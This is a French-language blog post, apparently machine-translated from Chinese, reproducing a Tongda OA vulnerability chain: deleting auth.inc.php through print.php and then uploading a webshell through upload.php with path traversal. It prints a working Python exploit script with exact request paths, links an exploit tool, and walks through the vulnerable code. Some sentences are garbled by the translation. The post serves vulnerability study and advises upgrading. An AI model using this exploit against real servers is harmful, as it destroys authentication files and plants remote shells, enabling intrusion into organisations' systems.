Suppression arbitraire de fichiers Tongda OA / accès non autorisé OA + téléchargement de fichiers arbitraires Reproduction de la vulnérabilité RCE

0x00 introduction

Tongda OA utilise l'informatique d'entreprise basée sur le WEB, et le serveur HTTP principal utilise le serveur Apache le plus avancé au monde, avec des performances stables et fiables. Le contrôle centralisé de l'accès aux données évite la possibilité de fuite de données. Fournir des outils de sauvegarde des données pour protéger la sécurité des données du système. Le contrôle d'autorité à plusieurs niveaux, la vérification complète du mot de passe et les mécanismes de vérification de connexion améliorent la sécurité du système.

Aujourd'hui, j'ai lu beaucoup d'articles sur Tongda OA et mené une vague d'analyses sur la base de quelques jours qui sont apparus dans le filet de garde. J'ai senti que l'analyse des patrons de 9hu était en place. Ensuite, prenons cela comme référence et prenons un regardez cette vulnérabilité plus influente. Ensuite, j'ai l'impression que les vulnérabilités qui apparaissent ne sont que superficielles, et certaines d'entre elles sont définitivement inopinées, y compris certaines vulnérabilités que j'ai auditées dans d'autres versions auparavant, qui peuvent être exploitées. J'ai toujours l'impression que le code écrit par la technologie n'est pas très parfait ., Encore faut-il continuer à s'améliorer, et continuera certainement à faire des trous à l'avenir, c'est inévitable.

Description de la vulnérabilité 0x01

La vulnérabilité est due à l'existence d'une vulnérabilité de suppression arbitraire de fichiers dans print.php. En supprimant le fichier d'authentification d'identité Tongda OA auth.inc.php pour contourner la restriction de connexion, combiné avec le téléchargement arbitraire de fichiers pour obtenir l'effet de RCE

0x02 Version affectée

 Tongda OA <version v11.5 et v11.6 (toute suppression de fichier n'affecte que la version 11.6, l'accès non autorisé affecte <11.5)

0x03 Construction de l'environnement de vulnérabilité

1. Téléchargez:

https://cdndown.tongda2000.com/oa/2019/TDOA11.6.exe

https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe

2. Double-cliquez pour installer directement sous Windows, nom d'utilisateur de l'administrateur OA: le mot de passe de l'administrateur est vide

Cliquez sur OK pour visiter

Nom d'utilisateur de l'administrateur OA: admin Le mot de passe est vide
Utilisez l'outil de décryptage SeayDzend pour décrypter le code source

Tongda OA11.6 et outil de décryptage:
Lien: https://pan.baidu.com/s/1Wh9g4Xp1nIqZ5zPRt8rARg Mot de passe: 77ch

0x04 Récurrence de vulnérabilité

Remarque! La vulnérabilité supprimera les fichiers sur le serveur! Reproduisez soigneusement!

Adresse de téléchargement de l'outil:

https://github.com/admintony/TongdaRCE

Utilisez le script pour supprimer le fichier, puis connectez-vous deviendra comme ceci

N'oubliez donc pas: n'utilisez pas l'environnement réseau sans discernement, veuillez créer une reproduction locale!

Installez tongda 11.4, utilisez une vulnérabilité non autorisée combinée à un téléchargement de fichier arbitraire GetShell

La chaîne d'utilisation de getshell est la suivante:

""" 11.6版本 getshell利用链 """
def getShellV11_6(target):
    print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
    input("Press enter to continue")
    print("[*]Deleting auth.inc.php....")
    url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
    requests.get(url=url,verify=False)
    print("[*]Checking if file deleted...")
    url=target+"/inc/auth.inc.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[-]Failed to deleted auth.inc.php")
        exit(-1)
    print("[+]Successfully deleted auth.inc.php!")
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

""" 低于11.5版本 getshell利用链 """
def getShellV11_x(target):
    cookie=getV11Session(target)
    if not cookie:
        print("[-] Failed to get Session")
        return
    headers={"Cookie":cookie+";_SERVER="}
    print("[*]Uploading payload...")
    url=target+"/general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.<>./.<>./.<>./"
    files = {'FILE1': ('at.php', payload)}
    res=requests.post(url=url,files=files,headers=headers,verify=False)
    url=target+"/_at.php"
    page=requests.get(url=url,verify=False).text
    if 'No input file specified.' not in page:
        print("[+]Filed Uploaded Successfully")
        print("[+]URL:",url)
    else:
        print("[-]Failed to upload file")

Analyse de vulnérabilité 0x05

À partir de l'EXP publiée sur Internet, on peut savoir que le fichier auth.inc.php sera supprimé. Ce fichier est utilisé par Tongda pour l'authentification. Il sera inclus dans tous les fichiers nécessitant un accès de connexion. Y compris upload.php qui sera utilisé plus tard. Ce fichier est inclus, mais il est inclus via include, qui est différent de require. Si le fichier include n'existe pas, include ne provoquera pas l'arrêt du programme.

Recherchez ensuite le point de vulnérabilité /module/appbuilder/assets/print.php où tout fichier est supprimé. Simplement, les 6 premières lignes de code peuvent être utilisées pour supprimer des fichiers arbitraires.

Tant que GET transmet la valeur guid = .. / .. / .. / webroot / inc / auth.inc.php, vous pouvez supprimer le fichier d'authentification décrit ci-dessus en introduisant la dissociation, et la plupart des endroits nécessitant une authentification deviendront invalides .

Avant d'introduire l'utilisation de upload.php, parlons de la couverture des variables ancestrales de Tongda OA. Il y a un piège ici est que certains outils de décryptage manqueront un $, provoquant la perte d'un clavier par les cheveux et je ne comprends pas où les variables sont couvertes ... Parce que le fichier est common.inc.php, il est concevable que la plupart des fichiers ont Inclure, la plupart des emplacements peuvent être manipulés avec une couverture variable.

Recherchez ensuite le point de téléchargement /general/data_center/utils/upload.php, l'action de remplacement de variable de la 9ème ligne est le téléchargement du disque dans if, alors notre emplacement de téléchargement est / data_center / attachment. La variable de la 84e ligne remplace s_n comme notre fichier malveillant, et l'emplacement de téléchargement de la 90e ligne épissé avec s_n est l'emplacement de notre fichier final. Ici, la variable couvrant repkid à la ligne 87 est ../../../ afin que le répertoire puisse être parcouru et que nos chevaux puissent être placés dans d'autres répertoires, comme pourquoi je le dirai plus tard.

Reportez-vous à l'article du prédécesseur, la raison pour laquelle le répertoire doit être parcouru vers d'autres emplacements pour stocker les chevaux est que nginx de Tongda OA restreint les droits d'accès aux fichiers dans le répertoire des pièces jointes, ce qui nous empêche d'analyser nos chevaux normalement. ~ * représente un modèle régulier, et tous les fichiers sensibles tels que PHP qui commencent par une pièce jointe ne sont pas autorisés.

Suggestion de réparation 0x06

Passez à la dernière version.

Veuillez indiquer: Blog d'Adminxe  »  Suppression arbitraire de fichier Tongda OA / Accès non autorisé OA + téléchargement de fichier arbitraire Reproduction de vulnérabilité RCE

Je suppose que tu aimes

Origine blog.csdn.net/Adminxe/article/details/108734002
conseillé
Classement